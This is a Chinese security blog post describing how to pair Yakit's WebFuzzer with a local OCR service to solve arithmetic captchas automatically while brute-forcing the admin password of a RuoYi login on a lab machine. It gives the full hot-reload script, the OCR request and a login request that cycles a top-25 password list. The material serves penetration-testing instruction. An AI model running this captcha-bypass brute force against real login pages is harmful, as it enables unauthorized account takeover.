yakit验证码识别进行webfuzzer

admin 2025-12-29 00:45:41 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍了利用Yakit结合本地OCR服务实现WebFuzzer验证码自动识别的方法,用于辅助渗透测试中的密码爆破。文章以若依系统为例,演示了编写热加载脚本提取Base64验证码并识别的流程。实测发现该机制可行,但现有工具对算术验证码识别率较低,建议更换更精准的OCR模型以提高效率。 综合评分: 84 文章分类: 渗透测试,安全工具,WEB安全


cover_image

yakit 验证码识别 进行webfuzzer

原创

进击的hack

进击的HACK

2025年3月30日 07:50 江苏

前言

在渗透测试的过程中,我们可能需要对管理员密码进行枚举,或者密码喷洒的时候,遇到验证码就很烦。有没有自动化识别验证码的办法呢?

有的,兄弟,有的。


声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途给予盈利等目的,否则后果自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!


验证码识别插件

  • 验证码 OCR 识别

插件介绍

// Burpsuite 的 captcha-killer-modified 插件平行替,供 Yakit 热加载使用。直接复制代码到热加载,并将Webfuzzer请求包中验证码的值替换为 __captcha__。

该插件是一个热加载的模版,后续会介绍如何使用。

本地验证码识别

常见的工具:captcha-killer-modified 项目地址:https://github.com/f0ng/captcha-killer-modified

下载 codereg.py

python codereg.py

app.add_routes([
    web.post('/reg2', handle_cb),  # 识别算数验证码
    web.post('/reg', handle_cb2),  # 识别常规验证码

    web.post('/reg00', handle_cb00),  # 识别纯整数0-9
    web.post('/reg01', handle_cb01),  # 识别纯小写英文a-z
    web.post('/reg02', handle_cb02),  # 识别纯大写英文A-Z
    web.post('/reg03', handle_cb03),  # 识别小写英文a-z + 大写英文A-Z
    web.post('/reg04', handle_cb04),  # 识别小写英文a-z + 整数0-9
    web.post('/reg05', handle_cb05),  # 识别大写英文A-Z + 整数0-9
    web.post('/reg06', handle_cb06),  # 识别小写英文a-z + 大写英文A-Z + 整数0-9
    web.post('/reg000', handle_cb000),  # 识别自定义
])

可以看到,该python脚本有这些API可以使用。 今天尝试的是识别算数验证码

http://127.0.0.1:8888/reg2

构造请求包

POST /reg2 HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Basic f0ngauth
Upgrade-Insecure-Requests: 1
Sec-Fetch-Mode: navigate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Sec-Fetch-User: ?1
sec-ch-ua-platform: "Windows"
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br, zstd
sec-ch-ua: "Not(A:Brand";v="99", "Google Chrome";v="133", "Chromium";v="133"
Sec-Fetch-Site: none
Sec-Fetch-Dest: document
sec-ch-ua-mobile: ?0
Content-Type: application/x-www-form-urlencoded

base64(img)

codereg验证的请求包

得知了流程,我们就可以自己写插件,进行验证码识别

若依验证码请求流程

为了不给官方造成困扰,我在本地搭建了一个若依前后端分离的环境

先请求验证码,后端返回uuid+对应的验证码图片

插件使用

yakit 该插件,每次使用前,需要自己编辑

修改成适配当前系统的验证码识别插件

packet1 内容替换为

GET /dev-api/captchaImage HTTP/1.1
Host: 192.168.23.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
isToken: false
Referer: http://192.168.23.1/login?redirect=/index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

packet2 reg 修改为 reg2

// OCR接口:获取 OCR 服务获取识别后的验证码
packet2 =`
POST /reg2 HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Basic f0ngauth
`

接着,我们需要修改请求中的这一步

因为后端不是直接返回的二进制图片,而是存放在json中的已经base64编码后的二进制图片。

yak 语法

fn json.loads(content: string|[]byte) any: 把一个字符串解析成一个 Yak/Golang 对象

修改为

// beforeRequest 允许发送数据包前再做一次处理,定义为 func(origin []byte) []bytebeforeRequest = func(req) {    // 1. 获取当前请求包 Cookie    Cookie = poc.GetHTTPPacketHeader(req /*type: []byte*/, 'Cookie' /*type: string*/)    // 2. 带着当前请求包 Cookie 访问验证码接口,获取验证码图片二进制数据    rsp1, req1 = poc.HTTP(packet1, poc.replaceHeader('Cookie', Cookie))~    RawImage = poc.GetHTTPPacketBody(rsp1 /*type: []byte*/)    respJson = json.loads(RawImage)    image = respJson["img"]    uuid1 = respJson["uuid"]    // 3. 将验证图片发给 OCR 识别    rsp2, req2 = poc.HTTP(packet2, poc.replaceBody(image  /*type: []byte*/, false /*type: bool*/))~    captcha = poc.GetHTTPPacketBody(rsp2 /*type: []byte*/)    // 5. 请求包携带返回的验证码发送请求    req = str.ReplaceAll(string(req) /*type: string*/, "__captcha__" /*type: string*/, string(captcha) /*type: string*/)    req = str.ReplaceAll(string(req) /*type: string*/, "__uuid__" /*type: string*/, string(uuid1) /*type: string*/)    return []byte(req)}

打开webfuzzer,将代码复制到热加载中

FUZZ

热加载

保存

修改webfuzzer 请求包

POST /dev-api/login HTTP/1.1Host: 192.168.23.1isToken: falseUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36Content-Type: application/json;charset=UTF-8repeatSubmit: falseAccept: application/json, text/plain, */*Referer: http://192.168.23.1/login?redirect=/indexOrigin: http://192.168.23.1Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Content-Length: 96{"username":"admin","password":"{{payload(pass_top25)}}","code":"__captcha__","uuid":"__uuid__"}

并发线程 修改为1

发送请求

单纯发送数据包,可以看到识别成功

总结

验证码的识别率很低,captcha-killer-modified对算术验证码识别正确率非常低,还会识别成乱七八糟的结果,这就非常麻烦。因为你不知道到底是验证码不对,还是密码不对。

如果师傅们找到准确度更高的工具,完全可以替换上去。


往期推荐

yakit 安装和初次使用

数据库自动取样工具DataMiner

burpsuite指纹识别插件合集

如何最大限度的利用poc发现漏洞

Slack 安全服务集成化工具平台

unidbg补环境实战

unidbg改造,提供api接口

CS上线隐蔽Shellcode嵌入与反检测加载器生成框架

frida | 获取 so JNI函数绑定的地址

IDA调试so小技巧 | IDA 无法找到指定so


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:进击的HACK 进击的hack《yakit 验证码识别 进行webfuzzer》

评论:0   参与:  0